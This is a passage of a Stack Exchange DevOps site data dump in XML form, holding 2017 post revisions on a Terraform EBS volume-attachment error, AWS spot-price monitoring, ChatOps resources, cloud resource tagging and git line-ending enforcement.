(remote-exec): .&#xD;&#xA;	null_resource.stop_mysql_service2 (remote-exec):  * Attempt to shutdown MySQL Community Server 5.6.35 timed out&#xD;&#xA;	null_resource.stop_mysql_service2: Still creating... (20s elapsed)&#xD;&#xA;	null_resource.stop_mysql_service2: Still creating... (30s elapsed)&#xD;&#xA;	null_resource.stop_mysql_service2: Creation complete (ID: 1850529311883)&#xD;&#xA;	aws_volume_attachment.mysql_data: Creating...&#xD;&#xA;	  device_name:  &quot;&quot; =&gt; &quot;/dev/xvdf&quot;&#xD;&#xA;	  force_detach: &quot;&quot; =&gt; &quot;true&quot;&#xD;&#xA;	  instance_id:  &quot;&quot; =&gt; &quot;i-0d48be4266da&quot;&#xD;&#xA;	  skip_destroy: &quot;&quot; =&gt; &quot;true&quot;&#xD;&#xA;	  volume_id:    &quot;&quot; =&gt; &quot;vol-04c7f4&quot;&#xD;&#xA;	aws_volume_attachment.mysql_data: Still creating... (10s elapsed)&#xD;&#xA;	Error applying plan:&#xD;&#xA;&#xD;&#xA;	1 error(s) occurred:&#xD;&#xA;&#xD;&#xA;	* aws_volume_attachment.mysql_data: 1 error(s) occurred:&#xD;&#xA;&#xD;&#xA;	* aws_volume_attachment.mysql_data: [WARN] Error attaching volume (vol-04c7f4) to instance (i-0d48be4266da), &#xD;&#xA;    message: &quot;Invalid value '/dev/xvdf' for unixDevice. Attachment point /dev/xvdf is already in use&quot;, code: &quot;InvalidParameterValue&quot;&#xD;&#xA;&#xD;&#xA;	Terraform does not automatically rollback in the face of errors.&#xD;&#xA;	Instead, your Terraform state file has been partially updated with&#xD;&#xA;	any resources that successfully completed. Please address the error&#xD;&#xA;	above and apply again to incrementally change your infrastructure.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3092" PostHistoryTypeId="4" PostId="923" RevisionGUID="e4757391-7982-4918-82db-e5cbf5607e3c" CreationDate="2017-04-17T13:16:08.630" UserId="14" Comment="Thanks lines are not necessary — upvote good answers and accept them instead!" Text="How do I detach an existing volume and attach a new volume with Terraform?" ContentLicense="CC BY-SA 3.0" />
  <row Id="3093" PostHistoryTypeId="4" PostId="919" RevisionGUID="763b51c9-3f88-45d7-8abb-fbb3f86dd21d" CreationDate="2017-04-17T13:54:49.967" UserId="1046" Comment="edited title" Text="How to use tags in AWS / Azure" ContentLicense="CC BY-SA 3.0" />
  <row Id="3095" PostHistoryTypeId="5" PostId="919" RevisionGUID="e8888f9e-9054-4de8-bfa9-f0c146c0c73f" CreationDate="2017-04-17T14:09:37.113" UserId="397" Comment="Formatting and Grammar" Text="I am currently building a solution on Azure (though the question should relate to AWS equally) and I am using a `UniqueId` tag to locate and use objects. &#xD;&#xA;&#xD;&#xA;For instance, we have a storage account that is used for caching applications' blobs. The storage account is created with a random name but is found and presented to the application through its `UniqueId=AppCache` tag. &#xD;&#xA;&#xD;&#xA;At the moment I am taking the approach that as more tags become useful I'll start to add them. &#xD;&#xA;&#xD;&#xA;Ultimately we're looking for a hands off 'ChatOps' style solution. So everything created should be automated. &#xD;&#xA;&#xD;&#xA;Should I be looking at a structured approach to tagging (and what does that look like) or is the organic approach more sensible? &#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3096" PostHistoryTypeId="4" PostId="919" RevisionGUID="e8888f9e-9054-4de8-bfa9-f0c146c0c73f" CreationDate="2017-04-17T14:09:37.113" UserId="397" Comment="Formatting and Grammar" Text="How to use tags in Amazon Web Services and Azure" ContentLicense="CC BY-SA 3.0" />
  <row Id="3097" PostHistoryTypeId="2" PostId="924" RevisionGUID="8e2c15b6-64b7-4516-968b-1d91dcfb9292" CreationDate="2017-04-17T14:23:57.013" UserId="397" Text="We have defined what ChatOps is in the form of the following question:&#xD;&#xA;&#xD;&#xA; - [What are ChatOps approach use cases of production infrastructure management?][1]:&#xD;&#xA;&#xD;&#xA;  &gt; Practically it means something very different to each team using it.  So much so that Atlassian have put together what could be considered to be a [Chat maturity model][2].&#xD;&#xA;&#xD;&#xA;  &gt; 1. **Sputnik**: Trying chat out to see how it works.&#xD;&#xA;  &gt; 2. **Mercury**: Starting to move to chat.&#xD;&#xA;  &gt; 3. **Gemini**: Chat as the primary source of communication, experimenting with bots.&#xD;&#xA;  &gt; 4. **Apollo**: Chat as the nexus of communication and work, including bots.&#xD;&#xA;  &gt; 5. **Elon Musk**: Chat is the primary centre of mission critical work.&#xD;&#xA;&#xD;&#xA;What other books and resources are available that describe the people, process and tools used to implement ChatOps within an organisation.&#xD;&#xA;&#xD;&#xA;  [1]: https://devops.stackexchange.com/q/675/397&#xD;&#xA;  [2]: https://blog.hipchat.com/2016/02/05/chatops-guide-evolution-adoption-significance/" ContentLicense="CC BY-SA 3.0" />
  <row Id="3098" PostHistoryTypeId="1" PostId="924" RevisionGUID="8e2c15b6-64b7-4516-968b-1d91dcfb9292" CreationDate="2017-04-17T14:23:57.013" UserId="397" Text="What 'ChatOps' books and resources are available?" ContentLicense="CC BY-SA 3.0" />
  <row Id="3099" PostHistoryTypeId="3" PostId="924" RevisionGUID="8e2c15b6-64b7-4516-968b-1d91dcfb9292" CreationDate="2017-04-17T14:23:57.013" UserId="397" Text="&lt;toolchain&gt;&lt;operating-model&gt;&lt;operations&gt;&lt;chatops&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3100" PostHistoryTypeId="2" PostId="925" RevisionGUID="d89523aa-5ed3-4a83-b9a6-1bfe3777260c" CreationDate="2017-04-17T14:42:00.293" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="3101" PostHistoryTypeId="1" PostId="925" RevisionGUID="d89523aa-5ed3-4a83-b9a6-1bfe3777260c" CreationDate="2017-04-17T14:42:00.293" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3102" PostHistoryTypeId="2" PostId="926" RevisionGUID="97e79120-2204-4239-b202-d6e478cdbc31" CreationDate="2017-04-17T14:42:00.293" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="3103" PostHistoryTypeId="1" PostId="926" RevisionGUID="97e79120-2204-4239-b202-d6e478cdbc31" CreationDate="2017-04-17T14:42:00.293" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3104" PostHistoryTypeId="5" PostId="925" RevisionGUID="28e67a26-1bdc-41e4-ba17-a50e006f1902" CreationDate="2017-04-17T14:47:02.747" UserId="397" Comment="added 1018 characters in body" Text="According to [Ashridge][1]:&#xD;&#xA;&#xD;&#xA;&gt; An operating model is the operational design that makes it possible to deliver the business strategy. [The] operational design follows strategy, but the relationship also works the other way around, which means that ideas for operating model improvements can lead to changes in business strategy.&#xD;&#xA;&#xD;&#xA;Operating Models are often defined in terms of different aspects of a plan, one of the following patterns are commonly followed when designing Operating Models:&#xD;&#xA;&#xD;&#xA; - **3 Ps** - people, process and products (sometimes also &quot;partners&quot;)&#xD;&#xA; - **POT** - process, organisation and technology&#xD;&#xA; - **POLISM** - processes, organisation, locations, information, sourcing and partners, management system&#xD;&#xA;&#xD;&#xA;## Further Reading&#xD;&#xA;&#xD;&#xA; - [Operating Model Canvas][2]&#xD;&#xA; - [Wikipedia Page][3]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.ashridge.org.uk/executive-organization-development/open-programs/designing-operating-models/&#xD;&#xA;  [2]: https://operatingmodelcanvas.com/&#xD;&#xA;  [3]: https://en.wikipedia.org/wiki/Operating_model" ContentLicense="CC BY-SA 3.0" />
  <row Id="3105" PostHistoryTypeId="24" PostId="925" RevisionGUID="28e67a26-1bdc-41e4-ba17-a50e006f1902" CreationDate="2017-04-17T14:47:02.747" Comment="Proposed by 397 approved by 46 edit id of 286" ContentLicense="CC BY-SA 3.0" />
  <row Id="3106" PostHistoryTypeId="5" PostId="926" RevisionGUID="4146ee45-986f-4deb-8134-7263c1c37939" CreationDate="2017-04-17T14:47:05.570" UserId="397" Comment="added 339 characters in body" Text="An Operating Model is part of a business model that defines how a business will operate, the future state is commonly referred to as a Target Operating Model as it is normal for an organisation to be transitioning towards a new operating model.  Use this tag to describe questions that ask questions about as-is or target operating models." ContentLicense="CC BY-SA 3.0" />
  <row Id="3107" PostHistoryTypeId="24" PostId="926" RevisionGUID="4146ee45-986f-4deb-8134-7263c1c37939" CreationDate="2017-04-17T14:47:05.570" Comment="Proposed by 397 approved by 46 edit id of 287" ContentLicense="CC BY-SA 3.0" />
  <row Id="3108" PostHistoryTypeId="2" PostId="927" RevisionGUID="9c771bdb-f935-4d9d-a501-937c66c47b5f" CreationDate="2017-04-17T15:54:31.727" UserId="736" Text="Been thinking about a Jenkins job to check the pricing for the agent boxes we spin up; every so often the price spikes and it'll be an hour or two before anyone notices that no new agents are coming up, and then we have to go in manually and check the spot price and adjust accordingly, or switch zones, etc&#xD;&#xA;&#xD;&#xA;My first instinct was that the best route is to have an hourly Jenkins job that runs a `aws ec2 describe-spot-instance-requests` and checks for failed requests (and then slacks us on a failure), but I'm wondering if there's a cleaner method that involves actually comparing hard prices (and could therefore tell us exactly what's off, and by how much), rather than looking at successful/failed requests. &#xD;&#xA;&#xD;&#xA;Anyone set up something similar? How'd you do it? " ContentLicense="CC BY-SA 3.0" />
  <row Id="3109" PostHistoryTypeId="1" PostId="927" RevisionGUID="9c771bdb-f935-4d9d-a501-937c66c47b5f" CreationDate="2017-04-17T15:54:31.727" UserId="736" Text="Check AWS spot pricing automatically?" ContentLicense="CC BY-SA 3.0" />
  <row Id="3110" PostHistoryTypeId="3" PostId="927" RevisionGUID="9c771bdb-f935-4d9d-a501-937c66c47b5f" CreationDate="2017-04-17T15:54:31.727" UserId="736" Text="&lt;jenkins&gt;&lt;amazon-web-services&gt;&lt;amazon-ec2&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3111" PostHistoryTypeId="2" PostId="928" RevisionGUID="60290a92-093e-4b51-847c-eb57c0547e17" CreationDate="2017-04-17T16:30:01.173" UserId="2368" Text="Spotted a FOSS tool that just might help with this:  &#xD;&#xA;[autospotting](https://github.com/cristim/autospotting)&#xD;&#xA;&#xD;&#xA;We have this in our to-do pipeline, will be able to add more context once we finish that." ContentLicense="CC BY-SA 3.0" />
  <row Id="3112" PostHistoryTypeId="2" PostId="929" RevisionGUID="b3a7d332-0ccd-43db-a4ef-05e2859b44ed" CreationDate="2017-04-17T16:31:15.463" UserId="2367" Text="The old volume is never detached because `skip_destroy = true`.  From the terraform docs:&#xD;&#xA;&#xD;&#xA;&gt; skip_destroy - (Optional, Boolean) Set this to true if you do not wish to detach the volume from the instance to which it is attached at destroy time, and instead just remove the attachment from Terraform state. This is useful when destroying an instance which has volumes created by some other means attached.&#xD;&#xA;&#xD;&#xA;If you remove that, the old attachment will be destroyed and the attachment point should be available for the new attachment.&#xD;&#xA;&#xD;&#xA;You may need to manually delete the old attachment this one time, I believe Terraform may have already deleted it from the state." ContentLicense="CC BY-SA 3.0" />
  <row Id="3114" PostHistoryTypeId="5" PostId="928" RevisionGUID="21262bde-3a65-469c-9c62-98171f2e52bf" CreationDate="2017-04-17T17:10:36.530" UserId="397" Comment="Added excerpt to the post." Text="Spotted an open source tool called [autospotting](https://github.com/cristim/autospotting) that just might help with this:  &#xD;&#xA;&#xD;&#xA;&gt; Once enabled on an existing on-demand AutoScaling group, it launches an EC2 spot instance that is cheaper, at least as large and configured identically to your current on-demand instances. As soon as the new instance is ready, it is added to the group and an on-demand instance is detached from the group and terminated.&#xD;&#xA;&#xD;&#xA;We have this in our to-do pipeline, will be able to add more context once we finish that." ContentLicense="CC BY-SA 3.0" />
  <row Id="3115" PostHistoryTypeId="2" PostId="930" RevisionGUID="038ee458-516a-4bbe-981e-9dbbc5bd5a27" CreationDate="2017-04-17T17:13:39.677" UserId="46" Text="Let me give you a tool-agnostic way of trying to do this.&#xD;&#xA;&#xD;&#xA;&gt;every so often the price spikes and it'll be an hour or two before anyone notices that no new agents are coming up, and then we have to go in manually and check the spot price and adjust accordingly, or switch zones, etc&#xD;&#xA;&#xD;&#xA;We faced the same problem in the infrastructure which we're building. So, we had `if-else` style blocks to set the bid price, depending on the on-demand price of the instance.&#xD;&#xA;&#xD;&#xA;AWS has an [API][1] for getting the on-demand price of an instance. We used this [Python wrapper][2] for the purpose.&#xD;&#xA;&#xD;&#xA;So, once we got the on-demand price (let's say `X`), we plugged in `if-else` style blocks, which are `0.4*X`, `0.6*X`, `0.8*X`, `X`, which means we are trying for a bid price in the range 40%, 60%, 80% of the on-demand price. If all fails, then we are falling back to creating on-demand instances.&#xD;&#xA;&#xD;&#xA;Also, as this is independent of AWS's current spot pricing, we never pay a price above the on-demand price.&#xD;&#xA;&#xD;&#xA;But, if you're looking for a way to do it on-the-fly, then Hashfyre's solution should be the way to go.&#xD;&#xA;&#xD;&#xA;  [1]: https://aws.amazon.com/blogs/aws/new-aws-price-list-api/&#xD;&#xA;  [2]: https://github.com/erans/ec2instancespricing" ContentLicense="CC BY-SA 3.0" />
  <row Id="3117" PostHistoryTypeId="5" PostId="923" RevisionGUID="e1707054-9e4b-4cb9-a0fb-18bf0043c977" CreationDate="2017-04-17T17:35:31.703" UserId="342" Comment="added 240 characters in body" Text="Is there a way to detach EBS volume from existing EC2 instance and attach a new EBS volume using `Terraform v0.9.2` ?&#xD;&#xA;&#xD;&#xA;I prefer to replace the volume rather than trying to destroy the instance and create a new one with new volume.&#xD;&#xA;&#xD;&#xA;File system is unmounted from the device within the operating system before detaching the volume and also there is no issue to detach the volume from AWS console.&#xD;&#xA;&#xD;&#xA;    resource &quot;aws_ebs_volume&quot; &quot;create_volume&quot; {&#xD;&#xA;      availability_zone = &quot;eu-central-1a&quot;&#xD;&#xA;      snapshot_id = &quot;${data.aws_ebs_snapshot.mysql.id}&quot;&#xD;&#xA;      type = &quot;gp2&quot;&#xD;&#xA;      tags {&#xD;&#xA;        Name = &quot;${var.instance_name}&quot;&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;	resource &quot;aws_volume_attachment&quot; &quot;mysql_data&quot; {&#xD;&#xA;	  depends_on = [&quot;null_resource.stop_mysql_service2&quot;]&#xD;&#xA;	  device_name = &quot;/dev/xvdf&quot;&#xD;&#xA;	  volume_id = &quot;${aws_ebs_volume.create_volume.0.id}&quot;&#xD;&#xA;	  instance_id = &quot;i-0d48be4266da&quot;&#xD;&#xA;	  skip_destroy = true&#xD;&#xA;	  force_detach = true&#xD;&#xA;	}&#xD;&#xA;&#xD;&#xA;	$ ./terraform apply&#xD;&#xA;	data.aws_ebs_snapshot.mysql: Refreshing state...&#xD;&#xA;	aws_ebs_volume.create_volume: Creating...&#xD;&#xA;	  availability_zone: &quot;&quot; =&gt; &quot;eu-central-1a&quot;&#xD;&#xA;	  encrypted:         &quot;&quot; =&gt; &quot;&lt;computed&gt;&quot;&#xD;&#xA;	  iops:              &quot;&quot; =&gt; &quot;&lt;computed&gt;&quot;&#xD;&#xA;	  kms_key_id:        &quot;&quot; =&gt; &quot;&lt;computed&gt;&quot;&#xD;&#xA;	  size:              &quot;&quot; =&gt; &quot;&lt;computed&gt;&quot;&#xD;&#xA;	  snapshot_id:       &quot;&quot; =&gt; &quot;snap-0afb2303c60f&quot;&#xD;&#xA;	  tags.%:            &quot;&quot; =&gt; &quot;1&quot;&#xD;&#xA;	  tags.Name:         &quot;&quot; =&gt; &quot;mysql&quot;&#xD;&#xA;	  type:              &quot;&quot; =&gt; &quot;gp2&quot;&#xD;&#xA;	aws_ebs_volume.create_volume: Still creating... (10s elapsed)&#xD;&#xA;	aws_ebs_volume.create_volume: Creation complete (ID: vol-04c7f4)&#xD;&#xA;	null_resource.stop_mysql_service2: Creating...&#xD;&#xA;	null_resource.stop_mysql_service2: Provisioning with 'remote-exec'...&#xD;&#xA;	null_resource.stop_mysql_service2 (remote-exec): Connecting to remote host via SSH...&#xD;&#xA;	null_resource.stop_mysql_service2 (remote-exec):   Host: mysql&#xD;&#xA;	null_resource.stop_mysql_service2 (remote-exec):   User: ubuntu&#xD;&#xA;	null_resource.stop_mysql_service2 (remote-exec):   Password: false&#xD;&#xA;	null_resource.stop_mysql_service2 (remote-exec):   Private key: true&#xD;&#xA;	null_resource.stop_mysql_service2 (remote-exec):   SSH Agent: true&#xD;&#xA;	null_resource.stop_mysql_service2 (remote-exec): Connected!&#xD;&#xA;	null_resource.stop_mysql_service2 (remote-exec): .&#xD;&#xA;	null_resource.stop_mysql_service2 (remote-exec): .&#xD;&#xA;	null_resource.stop_mysql_service2 (remote-exec): .&#xD;&#xA;	null_resource.stop_mysql_service2 (remote-exec): .&#xD;&#xA;	null_resource.stop_mysql_service2 (remote-exec): .&#xD;&#xA;	null_resource.stop_mysql_service2 (remote-exec): .&#xD;&#xA;	null_resource.stop_mysql_service2 (remote-exec): .&#xD;&#xA;	null_resource.stop_mysql_service2: Still creating... (10s elapsed)&#xD;&#xA;	null_resource.stop_mysql_service2 (remote-exec): .&#xD;&#xA;	null_resource.stop_mysql_service2 (remote-exec): .&#xD;&#xA;	null_resource.stop_mysql_service2 (remote-exec): .&#xD;&#xA;	null_resource.stop_mysql_service2 (remote-exec): .&#xD;&#xA;	null_resource.stop_mysql_service2 (remote-exec): .&#xD;&#xA;	null_resource.stop_mysql_service2 (remote-exec): .&#xD;&#xA;	null_resource.stop_mysql_service2 (remote-exec): .&#xD;&#xA;	null_resource.stop_mysql_service2 (remote-exec): .&#xD;&#xA;	null_resource.stop_mysql_service2 (remote-exec): .&#xD;&#xA;	null_resource.stop_mysql_service2 (remote-exec):  * Attempt to shutdown MySQL Community Server 5.6.35 timed out&#xD;&#xA;	null_resource.stop_mysql_service2: Still creating... (20s elapsed)&#xD;&#xA;	null_resource.stop_mysql_service2: Still creating... (30s elapsed)&#xD;&#xA;	null_resource.stop_mysql_service2: Creation complete (ID: 1850529311883)&#xD;&#xA;	aws_volume_attachment.mysql_data: Creating...&#xD;&#xA;	  device_name:  &quot;&quot; =&gt; &quot;/dev/xvdf&quot;&#xD;&#xA;	  force_detach: &quot;&quot; =&gt; &quot;true&quot;&#xD;&#xA;	  instance_id:  &quot;&quot; =&gt; &quot;i-0d48be4266da&quot;&#xD;&#xA;	  skip_destroy: &quot;&quot; =&gt; &quot;true&quot;&#xD;&#xA;	  volume_id:    &quot;&quot; =&gt; &quot;vol-04c7f4&quot;&#xD;&#xA;	aws_volume_attachment.mysql_data: Still creating... (10s elapsed)&#xD;&#xA;	Error applying plan:&#xD;&#xA;&#xD;&#xA;	1 error(s) occurred:&#xD;&#xA;&#xD;&#xA;	* aws_volume_attachment.mysql_data: 1 error(s) occurred:&#xD;&#xA;&#xD;&#xA;	* aws_volume_attachment.mysql_data: [WARN] Error attaching volume (vol-04c7f4) to instance (i-0d48be4266da), &#xD;&#xA;    message: &quot;Invalid value '/dev/xvdf' for unixDevice. Attachment point /dev/xvdf is already in use&quot;, code: &quot;InvalidParameterValue&quot;&#xD;&#xA;&#xD;&#xA;	Terraform does not automatically rollback in the face of errors.&#xD;&#xA;	Instead, your Terraform state file has been partially updated with&#xD;&#xA;	any resources that successfully completed. Please address the error&#xD;&#xA;	above and apply again to incrementally change your infrastructure.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3122" PostHistoryTypeId="2" PostId="932" RevisionGUID="2e96ede1-b9f0-44e0-b7d1-813a94834955" CreationDate="2017-04-17T18:37:18.980" UserId="2334" Text="I would personally consider a model like this:&#xD;&#xA;&#xD;&#xA;    Timed Lambdas -&gt; Checks spot price -&gt; Push to ElastiCache&#xD;&#xA;&#xD;&#xA;Then when you need instances:&#xD;&#xA;&#xD;&#xA;    Timed lambdas -&gt; Pulls spot price from ElastiCache, sets it as environment variable on your Machine where you spin up IaC from -&gt; This is parsed as argument to IaC code and pushes out the spot price&#xD;&#xA;&#xD;&#xA;You could set some tolerances, too, within the lambdas (i.e. 10, 25, 50% increases based on importance) and a hard cap of on-demand, for example. It's also a great place to build the logic to handle, for example, finding the cheapest AZ, finding the relatively cheapest spot price (`2xt2.medium` vs `t2.large`), etc." ContentLicense="CC BY-SA 3.0" />
  <row Id="3123" PostHistoryTypeId="2" PostId="933" RevisionGUID="343dff3c-f787-4e72-b6aa-5dfd5f8e30e5" CreationDate="2017-04-17T18:39:27.427" UserId="228" Text="One of the [people active][1] in ChatOps community is Jason Hand from [VictorOps][2], who wrote a book published by O'Reilly called [Managing Operations in Group Chat][3]. This book is available for free as part of their content marketing campaign.&#xD;&#xA;&#xD;&#xA;You should definitely take a look at [Slack Apps][7], especially the Developer Tools. There is [article][8] by [SlackStorm][9] on how to integrate Ansible and Slack.&#xD;&#xA;&#xD;&#xA;You might also monitor the subreddit on [chatops][10]. There is a long sidebar of resources including the video from GitHub ChatOps presentation and many more.&#xD;&#xA;&#xD;&#xA;I would also recommend to look at [Cog][4] from [operable.io][5] and the [Cog Book][6]. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.arresteddevops.com/chatops/&#xD;&#xA;  [2]: https://victorops.com/chatops/&#xD;&#xA;  [3]: http://www.oreilly.com/webops-perf/free/chatops.csp&#xD;&#xA;  [4]: http://operable.io/cog.html&#xD;&#xA;  [5]: http://operable.io&#xD;&#xA;  [6]: http://cog-book.operable.io&#xD;&#xA;  [7]: https://slack.com/apps&#xD;&#xA;  [8]: https://stackstorm.com/2015/06/24/ansible-chatops-get-started-%F0%9F%9A%80/&#xD;&#xA;  [9]: https://stackstorm.com&#xD;&#xA;  [10]: https://www.reddit.com/r/chatops/" ContentLicense="CC BY-SA 3.0" />
  <row Id="3124" PostHistoryTypeId="2" PostId="934" RevisionGUID="26756d68-2e7d-4d76-ad0a-fc4db6c61c80" CreationDate="2017-04-17T18:52:47.563" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="3125" PostHistoryTypeId="1" PostId="934" RevisionGUID="26756d68-2e7d-4d76-ad0a-fc4db6c61c80" CreationDate="2017-04-17T18:52:47.563" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3126" PostHistoryTypeId="2" PostId="935" RevisionGUID="be9f3ba3-8788-47e9-ae16-b3e5579f0d3e" CreationDate="2017-04-17T18:52:47.563" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="3127" PostHistoryTypeId="1" PostId="935" RevisionGUID="be9f3ba3-8788-47e9-ae16-b3e5579f0d3e" CreationDate="2017-04-17T18:52:47.563" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3128" PostHistoryTypeId="2" PostId="936" RevisionGUID="e732eb27-6574-4c27-99dc-e83c58f54aa4" CreationDate="2017-04-17T18:57:03.547" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="3129" PostHistoryTypeId="1" PostId="936" RevisionGUID="e732eb27-6574-4c27-99dc-e83c58f54aa4" CreationDate="2017-04-17T18:57:03.547" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3130" PostHistoryTypeId="2" PostId="937" RevisionGUID="f1e3b4c8-82e2-4e0a-a468-bca959dc7411" CreationDate="2017-04-17T18:57:03.547" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="3131" PostHistoryTypeId="1" PostId="937" RevisionGUID="f1e3b4c8-82e2-4e0a-a468-bca959dc7411" CreationDate="2017-04-17T18:57:03.547" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3132" PostHistoryTypeId="5" PostId="935" RevisionGUID="034ef589-13f4-4228-bbfe-c9f40d7bca34" CreationDate="2017-04-17T19:00:29.847" UserId="40" Comment="added 148 characters in body" Text="For questions about open-source, which is about software where the original source code is freely available to be viewed, redistributed or modified." ContentLicense="CC BY-SA 3.0" />
  <row Id="3133" PostHistoryTypeId="24" PostId="935" RevisionGUID="034ef589-13f4-4228-bbfe-c9f40d7bca34" CreationDate="2017-04-17T19:00:29.847" Comment="Proposed by 40 approved by 46 edit id of 288" ContentLicense="CC BY-SA 3.0" />
  <row Id="3134" PostHistoryTypeId="5" PostId="937" RevisionGUID="789b0c8e-2152-408e-96f4-c8d19c437d32" CreationDate="2017-04-17T19:00:36.720" UserId="40" Comment="added 169 characters in body" Text="For questions about encryption, which is the process of transforming information into an unreadable format using an encryption algorithm combined with an encryption key." ContentLicense="CC BY-SA 3.0" />
  <row Id="3135" PostHistoryTypeId="24" PostId="937" RevisionGUID="789b0c8e-2152-408e-96f4-c8d19c437d32" CreationDate="2017-04-17T19:00:36.720" Comment="Proposed by 40 approved by 46 edit id of 289" ContentLicense="CC BY-SA 3.0" />
  <row Id="3136" PostHistoryTypeId="2" PostId="938" RevisionGUID="028fdaba-55dd-4da2-93ad-a8187f8e02ca" CreationDate="2017-04-17T19:00:55.693" UserId="22" Text="I'm taking point on moving this .NET shop from svn to git, and have identified some ancillary issues I'd like to have a solution for before we flip the switch.&#xD;&#xA;&#xD;&#xA;The one I'm asking about in particular in this question is line-ending enforcement. By default git for windows installs with the 'checkout crlf, commit lf', which won't work for a bunch of source that is (as far as I'm aware) exclusively comprised of crlf endings.&#xD;&#xA;&#xD;&#xA;I don't know that I'd blindly trust any given dev to configure this correctly even given instruction, so I'm considering one (or both) of the following but was curious if anyone here had gone another route.&#xD;&#xA;&#xD;&#xA;- A pre-commit hook that checks for any lf line endings (or maybe all lf line endings), and rejects in that event.&#xD;&#xA;- An install script distributed to devs that populates the global config with the 'as-is, as-is'.&#xD;&#xA;&#xD;&#xA;P.S. While writing this it occurred to me that the initial conversion from svn to git could commit the default way and as long as people stuck to the default that would be pretty seamless as well. Having been a dev using git in a .NET shop that installed git with the non-default 'as-is, as-is', I've created my own issues there too (they'd all rolled default prior to my arrival). So I'm still leaning towards some sort of enforcement mechanism." ContentLicense="CC BY-SA 3.0" />
  <row Id="3137" PostHistoryTypeId="1" PostId="938" RevisionGUID="028fdaba-55dd-4da2-93ad-a8187f8e02ca" CreationDate="2017-04-17T19:00:55.693" UserId="22" Text="How are you enforcing git behavior, including locally (particularly on Windows)?" ContentLicense="CC BY-SA 3.0" />
  <row Id="3138" PostHistoryTypeId="3" PostId="938" RevisionGUID="028fdaba-55dd-4da2-93ad-a8187f8e02ca" CreationDate="2017-04-17T19:00:55.693" UserId="22" Text="&lt;git&gt;&lt;scm&gt;&lt;windows&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3139" PostHistoryTypeId="2" PostId="939" RevisionGUID="f19dcc19-d2e9-47aa-b692-5aae4889a43e" CreationDate="2017-04-17T19:04:57.787" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="3140" PostHistoryTypeId="1" PostId="939" RevisionGUID="f19dcc19-d2e9-47aa-b692-5aae4889a43e" CreationDate="2017-04-17T19:04:57.787" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3141" PostHistoryTypeId="2" PostId="940" RevisionGUID="781463c3-69c4-47cc-833a-72e5ffcf8424" CreationDate="2017-04-17T19:04:57.787" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="3142" PostHistoryTypeId="1" PostId="940" RevisionGUID="781463c3-69c4-47cc-833a-72e5ffcf8424" CreationDate="2017-04-17T19:04:57.787" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3143" PostHistoryTypeId="5" PostId="927" RevisionGUID="98dd3485-d5a6-406e-9e93-0a10dcd082d3" CreationDate="2017-04-17T19:49:54.197" UserId="40" Comment="added 6 characters in body; edited title" Text="I've been thinking about a Jenkins job to check the pricing for the agent boxes we spin up; every so often the price spikes and it'll be an hour or two before anyone notices that no new agents are coming up, and then we have to go in manually and check the spot price and adjust accordingly, or switch zones, etc.&#xD;&#xA;&#xD;&#xA;My first instinct was that the best route is to have an hourly Jenkins job that runs a `aws ec2 describe-spot-instance-requests` and checks for failed requests (and then slacks us on a failure). But I'm wondering if there's a cleaner method that involves actually comparing hard prices (and could therefore tell us exactly what's off, and by how much), rather than looking at successful/failed requests. &#xD;&#xA;&#xD;&#xA;Anyone set up something similar? How'd you do it? " ContentLicense="CC BY-SA 3.0" />
  <row Id="3144" PostHistoryTypeId="4" PostId="927" RevisionGUID="98dd3485-d5a6-406e-9e93-0a10dcd082d3" CreationDate="2017-04-17T19:49:54.197" UserId="40" Comment="added 6 characters in body; edited title" Text="How to check AWS spot pricing automatically?" ContentLicense="CC BY-SA 3.0" />
  <row Id="3145" PostHistoryTypeId="2" PostId="941" RevisionGUID="3948866e-2ef6-42e1-a913-9912295a157e" CreationDate="2017-04-17T22:08:03.417" UserId="2380" Text="[Here][1] is one 'awesome' chat ops resource collection.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/exAspArk/awesome-chatops" ContentLicense="CC BY-SA 3.0" />
  <row Id="3147" PostHistoryTypeId="5" PostId="940" RevisionGUID="95aec8af-ed28-4c48-b289-e8ba41fc4a78" CreationDate="2017-04-18T02:03:36.287" UserId="40" Comment="added 100 characters in body" Text="For question about workflows, which are orchestrated business activities, eg to process information." ContentLicense="CC BY-SA 3.0" />
  <row Id="3148" PostHistoryTypeId="24" PostId="940" RevisionGUID="95aec8af-ed28-4c48-b289-e8ba41fc4a78" CreationDate="2017-04-18T02:03:36.287" Comment="Proposed by 40 approved by 46 edit id of 290" ContentLicense="CC BY-SA 3.0" />
